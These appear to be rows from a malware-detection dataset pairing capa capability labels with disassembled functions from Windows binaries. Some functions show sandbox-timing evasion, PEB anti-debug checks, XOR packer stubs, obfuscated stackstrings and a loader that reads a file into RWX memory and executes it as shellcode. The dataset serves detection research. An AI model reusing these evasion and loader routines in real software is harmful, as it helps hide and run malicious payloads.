joyce8/EMBER2024-capa huggingface dataset:
Function at 0x448330
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5b1490
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x627490]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
cmp byte [edi + 0x2d], 0
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x48], ebx
jne 0x448523
lea eax, [edi + 0x4c]
push eax
mov dword [ebp - 0x4c], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push dword [ebp + 0x14]
mov eax, 2
mov word [ebp - 0x44], ax
call dword [sym.imp.WS2_32.dll_htons]
push dword [ebp + 0x10]
mov word [ebp - 0x42], ax
call dword [sym.imp.WS2_32.dll_htonl]
push 0x10
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x44]
push eax
push 0
push dword [ebp + 0xc]
push ebx
push dword [edi + 0x28]
call dword [sym.imp.WS2_32.dll_sendto]
test eax, eax
jns 0x44851a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
cmp ebx, 0x2733
jne 0x448412
xor esi, esi
jmp 0x4483d0
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x10
lea eax, [ebp - 0x44]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp - 0x48]
push dword [edi + 0x28]
call dword [sym.imp.WS2_32.dll_sendto]
test eax, eax
jns 0x44851a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
cmp ebx, 0x2733
jne 0x448412
inc esi
cmp esi, 0xa
jl 0x4483d0
jmp 0x44851a
push 0
push 0x5f96b5
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.00404ba0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x7c]
mov edx, ebx
mov dword [ebp - 0x34], 3
mov dword [ebp - 0x30], ebx
mov byte [ebp - 0x2c], 1
call fcn.00405780
push eax
mov edx, str.sendto_error:
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x64]
call fcn.00405a10
mov esi, eax
add esp, 4
lea eax, [ebp - 0x28]
cmp eax, esi
je 0x4484ae
cmp dword [ebp - 0x14], 0x10
jb 0x448493
push dword [ebp - 0x28]
call fcn.00448708
add esp, 4
push esi
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.00404560
cmp dword [ebp - 0x50], 0x10
jb 0x4484bf
push dword [ebp - 0x64]
call fcn.00448708
add esp, 4
mov byte [ebp - 4], 0
cmp dword [ebp - 0x68], 0x10
mov dword [ebp - 0x50], 0xf
mov dword [ebp - 0x54], 0
mov byte [ebp - 0x64], 0
jb 0x4484e6
push dword [ebp - 0x7c]
call fcn.00448708
add esp, 4
cmp byte [edi + 0x2d], 0
jne 0x448509
cmp dword [edi + 0xc], 0
je 0x448509
sub esp, 0x24
lea eax, [ebp - 0x34]
mov ecx, esp
push eax
call fcn.00406680
mov eax, dword [edi + 0xc]
push edi
call eax
add esp, 0x28
cmp dword [ebp - 0x14], 0x10
jb 0x44851a
push dword [ebp - 0x28]
call fcn.00448708
add esp, 4
push dword [ebp - 0x4c]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005705f2
mov esp, ebp
pop ebp
ret 0x10
Function at 0x457bac
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], ecx
mov esi, edi
cmp dword [ebp + 8], esi
je 0x457bf1
call fcn.004624b0
push 0xf0
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x457bf1
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x457c0d
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00462649
mov ebx, eax
test edi, edi
je 0x457c0b
test esi, esi
je 0x457c0b
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x45df09
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor esi, esi
call fcn.004624b0
push 5
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x45df40
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov ecx, dword [ebp - 4]
push ebx
push dword [ebp + 0xc]
push esi
call fcn.0045df61
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4d8b2c
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
mov ecx, dword [esi + 4]
call fcn.00461908
push 0xfffffffffffffff0
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x4d8b68
call fcn.004d8d4b
mov dword [esi + 0xc], 1
jmp 0x4d8b6d
call fcn.004d8d4b
cmp dword [esi], 0
je 0x4d8bb6
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, dword [ebp + 0x10]
test eax, eax
jle 0x4d8b90
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, esi
call fcn.00457c64
jmp 0x4d8ba1
push 0xff
mov ecx, esi
call fcn.0040cc00
push pe_nt_image_headers32
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0xffffffffffffffff
mov ecx, esi
call fcn.00455b46
jmp 0x4d8bda
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp eax, 0xffffffff
jne 0x4d8bda
push dword [esi]
push dword [ebp - 4]
call fcn.0046500b
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4d8ca0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
push dword [ebp + 0xc]
call fcn.004d8d4b
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x4d8ce8
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00457c64
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00455b46
jmp 0x4d8cf3
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0046500b
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x53b6ca
Capabilities:
Get common file path

Disassembly:
push esi
mov esi, ecx
call fcn.0056c313
call fcn.00462504
cmp dword [eax + 0x14], 0
jne 0x53b6e5
mov ecx, esi
pop esi
jmp fcn.0053aacb
pop esi
ret

Function at 0x547f01
Capabilities:
Get common file path
Get file system object information

Disassembly:
push esi
mov esi, ecx
call fcn.00405770
call fcn.00462504
cmp dword [eax + 0x14], 0
jne 0x547f1c
mov ecx, esi
pop esi
jmp fcn.005477ea
pop esi
ret
Function at 0x588435
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x627490]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0057acbe
mov dword [ebp - 0x14], eax
cmp dword [0x634b68], esi
jne 0x588528
push 0x800
push esi
push 0x5f1f30
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x5884b5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x588608
push esi
push esi
push 0x5f1f30
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x588608
push 0x5f1f48
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x588608
push eax
call ebx
push 0x5f1f54
push edi
mov dword [0x634b68], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x5f1f64
push edi
mov dword [0x634b6c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x634b70], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x634b78], eax
test eax, eax
je 0x588525
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x634b74], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x58854d
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x588540
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x588562
push 4
pop eax
jmp 0x58860a
cmp dword [ebp - 0x14], esi
je 0x588562
push dword [0x634b68]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x588547
mov eax, dword [0x634b74]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x5885c0
cmp dword [0x634b78], edi
je 0x5885c0
push eax
call ebx
push dword [0x634b78]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x5885c0
test eax, eax
je 0x5885c0
call ecx
test eax, eax
je 0x5885b5
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x5885b5
test byte [ebp - 8], 1
jne 0x5885c0
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x5885f0
mov eax, dword [0x634b6c]
cmp eax, edi
je 0x5885ed
push eax
call ebx
test eax, eax
je 0x5885ed
call eax
mov esi, eax
test esi, esi
je 0x5885ed
mov eax, dword [0x634b70]
cmp eax, edi
je 0x5885ed
push eax
call ebx
test eax, eax
je 0x5885ed
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x634b68]
call ebx
test eax, eax
je 0x588608
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x58860a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005705f2
mov esp, ebp
pop ebp
ret
Function at 0x5982ad
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x1625000
Capabilities:
Check for peb beingdebugged flag
Check for peb ntglobalflag flag

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov byte [ebp - 1], 0
mov dword [ebp - 8], 0
call dword [0x16ee854]
cmp eax, 1
jne 0x1625024
push 0
call dword [fcn.016ee858]
mov eax, dword fs:[0x30]
mov al, byte [eax + 2]
mov byte [ebp - 1], al
mov al, byte [ebp - 1]
test al, al
je 0x162503f
push 0
call dword [fcn.016ee858]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x68]
mov dword [ebp - 8], eax
test byte [ebp - 8], 0x70
je 0x1625059
push 0
call dword [fcn.016ee858]
mov esp, ebp
pop ebp
ret

Function at 0x1625060
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
lea eax, [0x16250a2]
lea ecx, [0x16250aa]
sub ecx, eax
mov dword [ebp - 4], ecx
lea eax, [ebp - 8]
push eax
push 0x40
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x16250c6
mov edi, dword [ebp + 8]
lea esi, [0x16250a2]
mov ecx, dword [ebp - 4]
rep movsb byte es:[edi], byte [esi]
jmp 0x16250c1
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x16250d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov cl, 0x65
mov al, 0x6d
mov byte [ebp - 0xa], cl
mov byte [ebp - 9], al
mov byte [ebp - 8], al
mov byte [ebp - 6], cl
mov byte [ebp - 5], al
mov byte [ebp - 4], al
mov cl, 0x6a
mov al, 0x66
push esi
mov dl, 0x75
push edi
mov byte [ebp - 0x1c], cl
mov byte [ebp - 0x1a], al
mov byte [ebp - 0x16], al
mov byte [ebp - 0x13], al
mov byte [ebp - 0x10], cl
mov byte [ebp - 0xb], dl
mov byte [ebp - 0x17], dl
lea edi, [ebp - 0xc]
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 0xc], 0x6f
mov byte [ebp - 7], 0x2f
mov byte [ebp - 3], 0
xor edx, edx
mov byte [ebp - 0x20], 0x45
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [ebp - 0x1f], 0x63
mov byte [ebp - 0x1e], 0x68
mov byte [ebp - 0x1d], 0x56
mov byte [ebp - 0x1b], 0x53
mov byte [ebp - 0x19], 0x6e
mov byte [ebp - 0x18], 0x70
mov byte [ebp - 0x15], 0x43
mov byte [ebp - 0x14], 0x73
mov byte [ebp - 0x12], 0x62
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0
je 0x1625176
mov cl, byte [ebp + edx - 0xc]
lea edi, [ebp - 0xc]
dec cl
xor eax, eax
mov byte [ebp + edx - 0xc], cl
or ecx, 0xffffffff
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x162515a
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
jne 0x162518c
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea edi, [ebp - 0x20]
or ecx, 0xffffffff
xor eax, eax
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x16251b9
mov al, byte [ebp + edx - 0x20]
lea edi, [ebp - 0x20]
dec al
or ecx, 0xffffffff
mov byte [ebp + edx - 0x20], al
xor eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x162519d
lea ecx, [ebp - 0x20]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x16251d1
push eax
call fcn.01625060
add esp, 4
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1625640
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf4
push ebx
push edi
call fcn.0162c040
mov ebx, dword [0x16ee840]
mov ecx, dword [0x16300a4]
mov eax, ebx
sub eax, ecx
jne 0x1625742
mov edi, dword [0x1630996]
test edi, edi
je 0x1625742
cmp word [ebx], 0x5a4d
je 0x1625691
push 0xc1
call dword [sym.imp.KERNEL32.dll_SetLastError]
call fcn.01626d20
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebx + 0x3c]
add eax, ebx
cmp dword [eax], 0x4550
je 0x16256b4
push 0xc1
call dword [sym.imp.KERNEL32.dll_SetLastError]
call fcn.01626d20
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
mov cx, word [eax + 6]
xor edx, edx
mov dx, word [eax + 0x14]
test cx, cx
lea eax, [edx + eax + 0x18]
jbe 0x16256d7
and ecx, 0xffff
mov edx, eax
add eax, 0x28
dec ecx
jne 0x16256cd
jmp 0x16256da
mov edx, dword [ebp - 4]
push esi
mov esi, dword [edx + 0xc]
push 0x10
lea eax, [ebp - 0xf4]
push 0x1630986
push eax
add esi, ebx
call fcn.0162f440
push edi
lea ecx, [ebp - 0xf4]
push esi
push ecx
call fcn.0162f6a0
lea edx, [ebp - 0xf4]
lea eax, [ebp - 0x24]
push edx
push eax
call fcn.0162f6c0
push 0x20
lea ecx, [ebp - 0x24]
push 0x1630966
push ecx
call fcn.01626800
add esp, 0x2c
test eax, eax
pop esi
je 0x1625742
push 0xa36
push 0
push 0x1630080
call fcn.016267b0
add esp, 0xc
call fcn.01626d20
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1628b50
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [0x16eeb94]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
xor edi, edi
cmp eax, edi
je 0x1628b6c
push eax
call esi
mov dword [0x16eeb94], edi
mov eax, dword [0x16eeb90]
cmp eax, edi
je 0x1628b8f
push edi
push eax
mov dword [0x16eec24], 1
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x16eeb90]
push eax
call esi
mov eax, dword [0x16eeb8c]
cmp eax, edi
je 0x1628ba4
push eax
call fcn.0162fc90
mov dword [0x16eeb8c], edi
mov eax, dword [0x16eec40]
cmp eax, edi
je 0x1628bbc
push eax
call fcn.0162cb80
add esp, 4
mov dword [0x16eec40], edi
mov eax, dword [0x16eec44]
cmp eax, edi
je 0x1628bda
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [0x16eec44], edi
pop edi
pop esi
ret
Function at 0x162c060
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push esi
push edi
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x3ff]
mov byte [ebp - 0x400], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x1ff]
mov byte [ebp - 0x200], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x162c0b1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x400]
push 0x200
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x400]
push 0x5c
push edx
call fcn.01626840
add esp, 8
test eax, eax
jne 0x162c0e4
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
mov byte [eax], 0
lea eax, [ebp - 0x200]
push 0x200
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x200]
push 0x5c
push ecx
call fcn.01626840
mov esi, eax
add esp, 8
test esi, esi
jne 0x162c11b
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x200]
push 0x163182c
push edx
mov byte [esi], 0
call fcn.01626990
lea eax, [ebp - 0x400]
lea ecx, [ebp - 0x200]
push eax
push ecx
call fcn.01626a30
add esp, 0x10
test eax, eax
jne 0x162c14f
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x200]
push 0x1631820
push edx
mov byte [esi], 0
call fcn.01626990
lea eax, [ebp - 0x400]
lea ecx, [ebp - 0x200]
push eax
push ecx
call fcn.01626a30
add esp, 0x10
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x10008403
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x10008412
pop dword [ebp - 0x10]
mov eax, 0x10008412
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x6267cf86
add dword [ebp - 0x20], 0xebea75c5
mov dword [ebp - 0x1c], 0x5c66775
add dword [ebp - 0x1c], 0x2c6ce4d0
mov dword [ebp - 0x18], 0xaca870a3
sub dword [ebp - 0x18], 0x605c2c75
mov dword [ebp - 0x14], 0x86317bfd
sub dword [ebp - 0x14], 0x86317bfd
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xa27e4ca6
sub dword [ebp - 0x20], 0x2e0be350
mov dword [ebp - 0x1c], 0x6d0c19c8
add dword [ebp - 0x1c], 0xd46047ad
mov dword [ebp - 0x18], 0x4a705f0d
sub dword [ebp - 0x18], 0xe700f2a1
mov dword [ebp - 0x14], 0x3c3ba2ea
sub dword [ebp - 0x14], 0x3c3ba2ea
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xb8c7bd3a
add eax, 0x5738f35e
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3c380
push 0
call eax
mov ecx, 0xee07046b
sub ecx, 0xee06aae8
xor ebx, ebx
add ebx, eax
mov esi, 0x8d0a47fd
sub esi, 0x7d08b1fd
add esi, dword [ebp - 0x10]
mov edx, 0x26c043f0
sub edx, 0x8ab35a17
xor dword [ebp - 4], edi
mov edi, dword [esi]
xor dword [ebp - 8], edi
xor edi, edx
sub dword [ebp - 4], 0xf470626f
mov dword [ebx], edi
sub dword [ebp - 0xc], edx
add ebx, 0x57d861af
sub ebx, 0x57d861ab
add esi, 0x5870b878
sub esi, 0x5870b874
loop 0x1000852c
add eax, 0x158df
xor ebx, ebx
add ebx, eax
add eax, 0x7b5de6e1
add eax, 0x84a21924
mov ecx, 0x72079e4d
add ecx, 0x9df861b3
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x100089c1
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0xd
push dword [ecx + 0x38]
call dword [sym.imp.USER32.dll_SendMessageA]
pop ebp
ret 8

Function at 0x10008de5
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0xc]
sub eax, dword [esi + 4]
push edi
mov edi, ecx
cmp eax, 0x1a
jl 0x10008e3e
mov eax, dword [esi + 8]
cmp eax, dword [esi]
jl 0x10008e3e
push ebx
mov ebx, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [edi + 0x18]
call ebx
mov eax, dword [esi + 4]
mov edx, dword [esi + 0xc]
mov ecx, dword [esi]
push 0x10
sub edx, eax
push edx
mov edx, dword [esi + 8]
sub edx, ecx
push edx
push eax
push ecx
push 0
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov ecx, edi
call fcn.10008403
push 1
push dword [edi + 0x18]
call ebx
pop ebx
pop edi
pop esi
pop ebp
ret 4

Function at 0x10009710
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10014d34]
jne 0x1000971a
repz ret
jmp fcn.10009ea3
Function at 0x401203
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
push edi
call esi
mov edi, 0x12c
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
sub eax, ebx
sub eax, edi
cdq
mov edi, edx
mov esi, eax
push edi
push esi
push str.v4:_d_n
call fcn.00404474
xor esi, edi
sub esi, edi
add esp, 0xc
cmp esi, 0x64
jle 0x40124f
push str.sandbox____n
call fcn.00404474
pop ecx
xor esi, esi
push esi
push 0x80
push 4
push esi
push 1
push 0x80000000
push str.C:UsersPublicDownloadsindexx.ccp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
lea ecx, [ebp - 4]
push ecx
push ebx
push eax
push edi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x58
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
nop
nop
push ebp
mov ebp, esp
nop
sub eax, 0xffffffff
dec eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402870
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x41834d
call fcn.00404998
sub esp, 0x20
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x44], ebx
je 0x402965
cmp byte [esi + 0x49], bl
je 0x402965
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x4028a8
xor al, al
jmp 0x402967
push ebx
push 8
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.00402528
mov dword [ebp - 4], ebx
push edi
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x402908
lea eax, [ebp - 0x2c]
mov edx, eax
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x10]
push ebx
mov ebx, dword [ebp - 0x1c]
add ebx, eax
push ebx
push edx
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x18]
sub eax, 0
je 0x40290d
dec eax
je 0x402911
dec eax
dec eax
je 0x402961
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00401c28
mov al, bl
pop edi
jmp 0x402967
mov edx, dword [ebp - 0x2c]
jmp 0x4028d2
mov byte [esi + 0x49], 0
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x40291d
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x10]
sub edi, eax
je 0x402943
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x402930
lea eax, [ebp - 0x2c]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.004056ba
add esp, 0x10
cmp edi, eax
jne 0x4028f5
cmp byte [esi + 0x49], 0
je 0x402961
test edi, edi
jne 0x4028c4
push edi
push 8
lea ecx, [ebp - 0x2c]
call fcn.0040241e
jmp 0x4028c4
mov bl, 1
jmp 0x4028f7
mov al, 1
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret